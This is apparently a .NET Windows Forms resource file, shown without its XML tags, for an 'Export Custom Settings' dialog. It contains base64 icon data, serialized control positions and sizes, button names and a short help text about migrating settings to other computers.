8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABQTkzRkg/Of98hrn/mJ/D/8DD2/+CjLf/gYq4/3aAtf9eaqj+SD85/yslImoAAAAeAAAACQAAAAEAAAABAAAACQAAAB8qJSJrSD85/+Lg3f/n4+H/7Ono//Du7v/18/L/+fn4//39/f/5+fn/9vb2//T09P/4+Pj/+Pj3/3pzb+5FPDeXEhAOBP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAUE5M0ZIPzn/fIa5/5ifw//Aw9v/goy3/4GKuP92gLX/ZnGr/Eg/Of8qJCFoAAAAHgAAAAoAAAAKAAAAHislImpIPzn/4d7b//n4+P/a083/qJR9/+7r6v/08/H/+/r6//7+/v/+/v7//f39//v7+//p6ej/Z2Bb9EU9N5YSEA4E////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODNDSD85/3yGuf+Yn8P/wMPb/4KMt/+Birj/doC1/15qqP5IPzn/KCMgYwAAACMAAAAkKiQhaEg/Of/i3tv/+fj4/9PLw/+olH3/3NbR/+zr6P/8/Pz/SD85/0pBO/5JQDv+SUA6/klAOv9jXFfVRDs2RSQfHAL///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABQTkzPUg/Of98hrn/mJ/D/8DD2/+CjLf/gYq4/3aAtf9jb6r8SD85/yIeG2UnIh9uSD85/+Tg3f/5+fj/1s/H/6iUff/UzMT/5+Th//v6+v9IPzn/QDgzPgAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAT83MjdIPzn/fIa5/5ifw//Aw9v/goy3/4GKuP91gLT/pazN/tTS0P9IPzn/5eHe//r5+P/VzcX/qJR9/9bPx//h3dr/+vn5/0g/Of9BOTNGAAAAAf///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFBOTNGSD85/3yGuf+Yn8P/wMPb/4KMt/+wttL/1NLQ/0g/Of/l4uD/+vn4/9nTzP+olH3/1M3F/+Le2//5+Pj/SD85/0E5M0YAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABQDgyPEg/Of98hrn/mJ/D/9vd6//Rz83/SD85/+fk4f/6+fn/2NHL/6iUff/Z0sv/4uDd//n4+P9IPzn/QTkzRgAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAUA4M0dIPzn/qa/R/9LQzv9IPzn/6OXi//r6+f/Y0cn/qJR9/9jQyf/k4d7/+vn4/0g/Of9AODNDAAAAAf///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAQAAAAktJyNN1NLQ/0g/Of/o5eT/+vr5/9fQyP+olH3/19DJ/+Xi4P/6+fj/SD85/zcwLE4AAAAC////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABAAAACQAAAB4oIx9kSD85/+nn5P/7+vr/2NHJ/6iUff/X0Mj/5eLg//r5+f9IPzn/1NLQ/wAAACIAAAAJAAAAAf///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAJAAAAHiUgHV5IPzn/6+jl//v6+v/a08z/qJR9/9jRyf/n5OH/+vr5/0g/Of/U0tD/l5KO/yslImoAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAFAAAACAAAAAcAAAAC////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAQAAAAkAAAAeKyUiakg/Of/s6ef/+/r6/9vUzf+olH3/2tPM/+jl4v/6+vn/SD85/9HPzf+rsdD/W2em/0g/Of8nIh9iAAAAHgAAAAkAAAAB////AP///wD///8A////AP///wD///8AAAAAAQAAAAkAAAAZAAAAJAAAACAAAAASAAAABf///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABAAAACQAAAB4nIh9iSD85/+zp6P/7+/r/29TO/6iUff/a083/6efk//r6+f9IPzn/0tDO/9vd6/+CjLf/eoO1/2ZxrP9IPzn/KyUiagAAAB4AAAAIAAAAAf///wD///8A////AP///wAAAAABAAAACQAAAB4pJCBkPTYxszMsKIcSEA47AAAAFgAAAAX///8A////AP///wD///8A////AP///wAAAAABAAAABgAAAA4AAAASAAAAEwAAABMAAAAVAAAAIislImpIPzn/7uvp//z7+v/c1c//qJR9/9vUzf/p5+X/+/r6/0g/Of/U0tD/hoF9/5ifw//Aw9v/goy3/3iBtP9hban/SD85/yUgHV4AAAAeAAAACQAAAAH///8A////AP///wAAAAAFAAAAGikkIGRIPzn/SD85/0g/Of9DOzXcFRMRPwAAABUAAAAE////AP///wD///8A////AAAAAAIAAAAMAAAAHgAAAC8AAAA4AAAAOgAAADoAAAA7Ih4bZEg/Of/v7Ov//Pv7/93Wzv+olH3/3NXO/+vo5//7+vr/SD85/0E5Mz0AAAACQTkzRkg/Of+Yn8P/wMPb/4KMt/95g7T/Ym2q/0g/Of8oIx9kAAAAHgAAAAkAAAAB////AP///wAAAAAKLyklV0g/Of9IPzn/QjQr/0g/Of9IPzn/RDw23BAODTMAAAAOAAAAAf///wD///8AAAAAAgAAAA8AAAAlKiUia2lhXeZJQDr/SUA6/0lAOv9JQDr/SD85//Du7P/v7Ov/3dbO/6iUff/d1s7/7Ono//v6+v9IPzn/PzcyNwAAAAH///8AAAAAAUA4MjxIPzn/lJu99sDD2/+CjLf/eIG0/2ZxrP9IPzn/KiQhaAAAAB4AAAAI////AP///wAAAAANQzo1vUg/Of9CNCv/SD85/0g/Of9JQDr/XFFK/2daUs4AAAAcAAAABf///wAAAAABAAAADAAAACU8NTCqV09K9uTi4f/49vX/+fj2//Xz8v/y7+7/8O7s//Du7P/v7Ov/qJR9/93Wzv/u6+j/+/v6/0g/Of9BOTNGAAAAAf///wD///8A////AAAAAAFBOTNGSD85/5WbvvXAw9v/goy3/3iCtP9faqj/SD85/ysmImkAAAAgAAAAEgAAABAAAAAdOzMum0g/Of9IPzn/SD85/0lAOv9cUUr/b2FZ/2daU/87MjBdAAAACP///wAAAAAGAAAAHT02MahjW1bv9PTy//z8/P/9/fz/+vn4//b18//z8O//8u/u//Du7P/w7uv/7+zr/+/s6f/8+/v/SD85/0A4MjwAAAAB////AP///wD///8A////AP///wAAAAABQDgzNkg/Of+Vm771wMPb/4KMt/95grT/bniw/0g/Of8aFhRWAAAANQAAADMPDQxHRT036Eg/Of9IPzn/SUA6/1xRSv+DdWz/2szA/1JGQ/9GPDqTAAAABv///wAAAAAOLSgkYlVNSfbs7Ov/9vX1//r6+v//////+vr6//j29v/18vD/8u/u//Du7P/w7uz/7+zr//z7+/9IPzn/QTkzRgAAAAH///8A////AP///wD///8A////AP///wD///8AAAAAAUA4Mz5IPzn/lJu99sDD2/+CjLf/QjQr/0g/Of9IPzn/RT036EE5NNJGPjj0SD85/0g/Of9JQDr/XFFK/29hWf/azMD/bF9b/01CQP9HPTtnAAAAAv///wAAAAASXVZR3NLQzv/v7uz/8/Py//7+/v///////v7+//n4+P/28/P/8u/v//Lv7v/w7uz/9/b1/0g/Of81LipBAAAAAf///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODNDSD85/5ifw/9CNCv/SD85/0g/Of9IPzn/SD85/0g/Of9IPzn/SD85/0lAOv9cUUr/b2FZ/2daU/9SRkP/TUJA/0c9O2cAAAAC////AP///wAAAAATSUA6/+Ph3v/u7Ov//Pz8/0g/Of9IPzn/SD85/7OvrP/49fX/8/Lw//Lv7v/w7uz/+/v6/0lAOv8AAAAT////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABQDgzR0g/Of9IPzn/SD85/0g/Of9IPzn/SD85/0g/Of9IPzn/SUA6/1xRSv9vYVn/ZFdQ1VFFQtJNQkD/ST89ZAAAAAL///8A////AP///wAAAAARSD85/+Th4P/7+/r/SD85/0A4MjwAAAACQTkzRkg/Of+yrar/9fPy//Lv7v/x7+7//Pv7/0lAOv8AAAAT////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAT43MVtIPzn/SD85/0g/Of9IPzn/SD85/0g/Of9JQDr/XFFK/29hWf9lWVLyAAAAEf///wD///8A////AP///wD///8A////AP///wAAAAALSUA6//n4+P9IPzn/QTkzRgAAAAH///8AAAAAAjMtKUNIPzn/9vXz//Pw7//z8O///Pv7/0lAOv8AAAAS////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAtHPjjySD85/0g/Of9IPzn/SD85/0lAOv9cUUr/b2FZ/2daU/9SRkP/AAAAC////wD///8A////AP///wD///8A////AP///wAAAAADYlpWo0g/Of9AODM2AAAAAf///wAAAAABAAAACQAAACJIPzn/+Pb1//Xy8P/39fT/+vr5/0lAOv8AAAAO////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAgAAAA86Mi6DSD85/0g/Of9IPzn/SUA6/1xRSv+Bc2r/2szA/1JGQ/9KPz2lAAAAA////wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAJAAAAHigjH2RIPzn/+fj4//f08//7+vr/7Oro/2JbVdcAAAAG////AP///wD///8AAAAAAgAAAAgAAAAMAAAADgAAAA0AAAALAAAACgAAAAsAAAAOAAAAFQAAACY6Mi6bSD85/0g/Of9JQDr/XFFK/4R2bf/azMD/aFxY/0o/PaUAAAAD////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wBIPzkF////AAAAAAcAAAAeKiQhaEg/Of/9/f3/+vn5//v7+//7+vr/Z19a9T83MkcAAAAB////AP///wAAAAABAAAABQAAABAAAAAdAAAAJgAAACsAAAAqAAAAJwAAACkAAAAvAAAAODIsKIhIPzn/SD85/0lAOv9cUUr/f3Fo/9rMwP9tYFz/Sj89pQAAAAP///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8ASD85BQAAAA4uKCRiSD85//v6+v///////v39//z8/P98dXHuRTw2lgAAAAL///8A////AP///wD///8AQTkzFUM7NWVGPTfERTw2yEM7Ncs9NjGoOjMunDkyLZ9COjTRRj449Eg/Of9IPzn/SUA6/1xRSv9vYVn/2szA/2ZaVv9KPz2lAAAAA////wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAtIPzn//fz8//7+/v/9/f3/8fDv/2lhXPRFPTeUAAAAAv///wD///8A////AP///wD///8A////AAAAAAFEOzYzRDw2cEg/Of9IPzn/SD85/0g/Of9IPzn/SD85/0g/Of9JQDr/XFFK/29hWf9nWlP/UkZD/0tAPqQAAAAD////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAANmX1qjSUA6/0lAOv9JQDr/Zl5Z1EM6NUQAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AEA4MxJFPDdkRDw2cEc+OOFIPzn/SD85/0lAOv9cUUr/bV9Y0mVYUbRPREGERz07KQAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///////wAA////////AAD///////8AAP////wD/wAA4D//+AP/AADAH//wA/8AAMAP/+AC/wAAwAf/4AH/AADAA//gBB8AAMAB/+AIHwAAwAD/4AAfAADAAH/gAB8AAOAAP8AAHwAA8AAfgAAfAAD4AA8AAB8AAPwABgAAHwAA/gAAAAA/AAD/AAAAAH8AAP+AAAAA/wAA/8AAAD//AAD/4AAAf/8AAP/wAAD//wAA//gAAf//AAD//AAD//8AAP/8AAf//wAA//gAA///AAD/8AAB/g8AAP/gAAD8BwAA/8AAAHgDAADwAAAAOAEAAOAAAAAYAAAAwAACABgAAACAAAcAAAAAAIAAD4AAAAAAgAAfwAAAAACAAD/gAAEAAIAAf/AAAwAAgAB/+AA/AACBAH/8AD8AAIIAf/gAPwAA/ABwAAB/AAD0AGAAAP8AAPgA8AAB/wAA/AH4AAP/AAD8A/8AB/8AAP///////wAA////////AAD///////8AACgAAAAgAAAAQAAAAAEAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAHAAAADwAAABMAAAASAAAADAAAAAT///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAHAAAADwAAABMAAAAPAAAABwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABAAAACQAAAB4AAAAyAAAAOgAAADcAAAAnAAAADP///wD///8A////AP///wD///8A////AP///wD///8AAAAABwAAAB0AAAAyAAAAOgAAADIAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wD///8A////AAAAAAYAAAAdLicmakg/Of9IPzn/SD85/1NLRtAAAAAO////AP///wD///8A////AP///wD///8A////AP///wAAAAAPLSgkZUg/Of9IPzn/SD85/yokIWgAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wD///8AAAAADykjIllIPzn/5eLf/+vp5//7+/r/SD85/wAAAA4AAAAOAAAADAAAAAT///8A////AP///wD///8A////AAAAABNIPzn/XmSP/2Juqv9aYY//SD85/yokIWgAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wAAAAATSD85/9/b1//l4t//+/v6/0g/Of8/NjRNAAAAHwAAADEAAAAoAAAADP///wD///8A////AP///wD///8AAAAAD0g/Of+or9H/fIa5/3aAtf9dZJD/SD85/yokIWgAAAAfAAAACQAAAAH///8A////AP///wD///8AAAAAAQAAABVIPzn/39vX/+Xi3/9IPzn/LygnTgAAACIuJyZqSD85/1dQStoAAAAS////AP///wD///8A////AP///wAAAAAHSD85/290mf+or9H/fIa5/3V/tf9eZJH/SD85/yokIWgAAAAfAAAACQAAAAH///8A////AAAAAAEAAAAJAAAAIkg/Of/f29f/5eLf/0g/Of8AAAA/JSAfZEg/Of/49/f/SD85/wAAABP///8A////AP///wD///8A////AAAAAAFBOTNGSD85/3B1m/+or9H/fIa5/3aAtf9aYY//SD85/yolImsAAAAfAAAACQAAAAEAAAABAAAACQAAAB4sJiVoSD85/9/b1//l4t//6+nn/0g/Of9IPzn/4+Dd//j39/9IPzn/AAAAD////wD///8A////AP///wD///8A////AAAAAAFAODNDSD85/3F3nf+or9H/fIa5/3V/tf9fZZD/SD85/yolImsAAAAfAAAACgAAAAoAAAAfLCYlaEg/Of/Z087/39vX/+Xi3//r6ef/6+nn/+nn5P/j4N3/+Pf3/0g/Of8AAAAH////AP///wD///8A////AP///wD///8A////AAAAAAFBOTM9SD85/3J5of+or9H/fIa5/3V/tf9WXYv/SD85/yslImoAAAAlAAAAJSwmJWhIPzn/2NPO//f29f+olH3/5eLf//v7+v/7+/r/+/r6//n5+P9IPzn/RTs5RgAAAAH///8A////AP///wD///8A////AP///wD///8A////AAAAAAE/NzI3SD85/290mf+or9H/fIa5/3V/tf9fZZD/SD85/yUgHWsrJSRxSD85/9nUz//39vX/qJR9/9/b1//6+fn/SD85/0g/Of9IPzn/SD85/0U8OjUAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFBOTNGSD85/3F3nv+or9H/fIa5/3R+tP9cY5H/29nY/0g/Of/a1dD/9/b1/6iUff/Z087/+fj3/0g/Of9FOzlDAAAAAf///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODI8SD85/290mf+or9H/fIa5/+Hi6/9IPzn/2tXR//j39v+olH3/2NPO//f29f9IPzn/RTs5QwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODNHSD85/3J5of/j5Oz/SD85/9vW0v/49/b/qJR9/9nUz//39vX/SD85/0U7OUMAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAQAAAAotJyNN29nY/0g/Of/b1tL/+Pf2/6iUff/a1dD/9/b1/0g/Of89NDJRAAAAAv///wD///8A////AP///wD///8AAAAABQAAAA0AAAAPAAAACAAAAAL///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAJAAAAHi4nJmpIPzn/2tXQ//j39v+olH3/2tXR//j39v9IPzn/5+bl6AAAACIAAAAJAAAAAf///wD///8A////AAAAAAUAAAAVAAAAKwAAADEAAAAiAAAADgAAAAP///8A////AP///wD///8A////AP///wAAAAABAAAACQAAAB4pIyJiSD85/9nUz//39vX/qJR9/9nUz//49/b/SD85/97f5v9IPzn/KiUiawAAAB8AAAAKAAAAAf///wD///8AAAAADBQSEDhEOzbdRz449DMtKIcAAAAoAAAADwAAAAL///8AAAAAAQAAAAcAAAAPAAAAEwAAABUAAAAiLicmakg/Of/Y087/9/b1/6iUff/Y087/9/b1/0g/Of/h4uj/e4i5/11kj/9IPzn/Mi4ybQAAACAAAAAKAAAAAf///wAAAAARRTw22kg/Of9IPzn/SD85/z43MbgAAAAlAAAACQAAAAEAAAAJAAAAHgAAADIAAAA6AAAAOyUgH2RIPzn/2dPO//f29f+olH3/2dPO//f29f9IPzn/6+rr40g/Of9vdJn/e4i5/1lgkP9IPzn/MzAydAAAACEAAAAOAAAACgAAABxGPTfnSD85/0g/Of9IPzn/SD85/zw1MJgAAAAPAAAABgAAAB0uJyZqSD85/0g/Of9IPzn/SD85/9/b1//5+Pf/qJR9/9/b1//5+Pf/SD85/0U7OUYAAAACQTkzRkg/Of9xd57/e4i5/19lkP9IPzn/LywwawAAACsAAAAmEg8OQUU9N+hIPzn/Y1pS/9rMwP9IPzn/SD85/wAAAAsAAAAPKSMiWUg/Of/l4t//5eLf/+Xi3//l4t//5eLf/6iUff/l4t//+vn5/0g/Of9EOjg8AAAAAf///wAAAAABQDgyPEg/Of9vdJn/e4i5/251nv9IPzn/Qz9Dqi0oJH5EOzbdSD85/0g/Of/azMD/Y1pS/0g/Of9FPTemAAAAAwAAABNIPzn/6+nn/+vp5//7+/r/+/v6/+vp5//r6ef/6+nn//v7+v9IPzn/RTs5RgAAAAH///8A////AP///wAAAAABQTkzRkg/Of9yeaH/QjQr/0g/Of9IPzn/SD85/0g/Of9IPzn/SD85/0c+OORIPzn/Rj03pAAAAAP///8AAAAAEkg/Of/r6ef/+/v6/0g/Of9IPzn/6+nn/+vp5//r6ef/SD85/zkxL0EAAAAB////AP///wD///8A////AP///wAAAAABOjMuO0g/Of9IPzn/SD85/0g/Of9IPzn/SD85/0g/Of9GPTfmAAAAEf///wD///8A////AP///wAAAAAMSD85//v6+v9IPzn/PzY0TQAAACRIPzn/6efk/+nn5P9IPzn/AAAAE////wD///8A////AP///wD///8A////AP///wAAAAAJPzcyk0g/Of9IPzn/SD85/0g/Of9lW1P/2szA/0g/Of8AAAAL////AP///wD///8A////AAAAAARWTkjISD85/z82NDsAAAAeLicmakg/Of/j4N3/4+Dd/0g/Of8AAAAP////AAAAAAMAAAALAAAAEAAAABAAAAARAAAAEgAAABs2Lyt/SD85/0g/Of9IPzn/XlRN/9rMwP9lW1P/RT03pgAAAAP///8A////AP///wD///8A////AP///wD///8AAAAADiokI1dIPzn/3tnV/97Z1f/49/f/SD85/wAAAAf///8AAAAABwAAABkAAAAqAAAAMQAAADQAAAA4AAAAPEA4M8VIPzn/SD85/0g/Of/azMD/XlRN/0U9N6YAAAAD////AP///wD///8A////AP///wD///8A////AP///wAAAAAMSD85//f29f/39vX/9/b1/0g/Of9FOzlGAAAAAf///wAAAAAERz45rkpAPOZHPjrfRz06301CQP9JPzv5SkA8/0pAPP9IPzn/SD85/0g/Of9FPTeFAAAAAv///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAARbU03RSD85/0g/Of9IPzn/RTw6NQAAAAH///8A////AP///wBCOTcdST87nEpAPNpLQT34S0E9/0pAPP9KQDz/SD879Uc+OMNGPTeEQjo0IwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////////wH+A/4B/gH+Af4A/gA+AH4APgA8AD4AGAA+AAAAPwAAAD+AAAA/wAAAf+AAB//wAA//+AAf//gAPg/wABwH4AAMAgAABAAAAAAAAAAAAAAIAAAAHAAEAD4APAB/ADwAQAA/gEAAf4BAAP+A4AH////////////////8oAAAAEAAAACAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wBIPzn/SD85/3aAtRD///8A////AP///wD///8A////AFtRSP9bUUj/W1FIsv///wD///8A////AP///wBIPzn/qK/R/3aAtf9IPzn/////AP///wD///8A////AFtRSP/+/v7//v7+/1tRSP////8A////AP///wD///8ASD85/3aAtf+or9H/doC1/0g/Of////8A////AP///wBbUUj/+/r5/1tRSP////8AW1FI/1tRSLL///8A////AP///wBIPzn/doC1/6iv0f92gLX/SD85/////wD///8AW1FI//f19P+Ee3P/W1FI//f19P9bUUj/////AP///wD///8A////AEg/Of92gLX/qK/R/3aAtf/Rz83/W1FI//Px8P/z8fD/////////////////W1FI/////wD///8A////AP///wD///8ASD85/3aAtf/d3+z/W1FI//Dt6/+vo5r//////1tRSP9bUUj/W1FI/////wD///8A////AP///wD///8A////AP///wDRz83/W1FI/+zp5v+vo5r//////1tRSP////8A////AP///wD///8A////AP///wD///8A////AP///wD///8AW1FI/+nk4v+vo5r//////1tRSP92gLUQ////AP///wD///8ASD85MEg/ORD///8A////AFtRSP9bUUj/W1FI/+Xg3f+vo5r//////1tRSP/d3+z/SD85/3aAtRD///8ASD85MEg/Of9IPznwSD85MFtRSP/i3Nj/4tzY/+Lc2P/i3Nj//////1tRSP92gLUQSD85/3aAtf9IPzn/VlNfLkg/OUBIPzn/SD85/0g/OfBbUUj//////1tRSP+Ee3P/3tjU/1tRSP////8A////AP///wBIPzn/SD85/0g/Of9IPzn/SD85/0g/OZBIPzlgW1FIsltRSP////8AW1FI/9rTz/9bUUj/////AP///wD///8AdoC1EEg/Of9IPzn/2szA/0g/OaD///8A////AP///wD///8AW1FI////////////W1FI/01CQA9NQkAlSUA7UElAO3VJPzr/2szA/0g/OfBIPzkw////AP///wD///8A////AFtRSLJbUUj/W1FI/////wBMQj9NTEE+5kxBPv9LQT7/S0E9/0g/OcBIPzkw////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//AACPjwAADw8AAAcTAACDAwAAwAMAAOAHAADwPwAA8DkAAIAQAAAAAAAAA4AAACODAADAAwAAxAcAAP//AAAL - - - Export Custom Settings - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAPAAAADAAAAAs= - - - 0 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAIYBAACYAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAKAAAACw== - - - $this - - - $this - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAPAAAAWQAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAGgBAABGAAAACw== - - - You can export settings and files from your installation to migrate to other computers. IMPORTANT: All migrated files will be replaced on the new system. - - - System.Windows.Forms.Button, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - btnExport - - - - 3 - - - 2 - - - Cancel - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEsAAAAXAAAACw== - - - btnHelp - - - System.Windows.Forms.Button, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 3 - - - 4 - - - 1 - - - $this - - - 2 - - - Include custom files from networked locations - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAPAAAAARAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAvAQAAdQAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAKAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAKAAAACw== - - - $this - - - 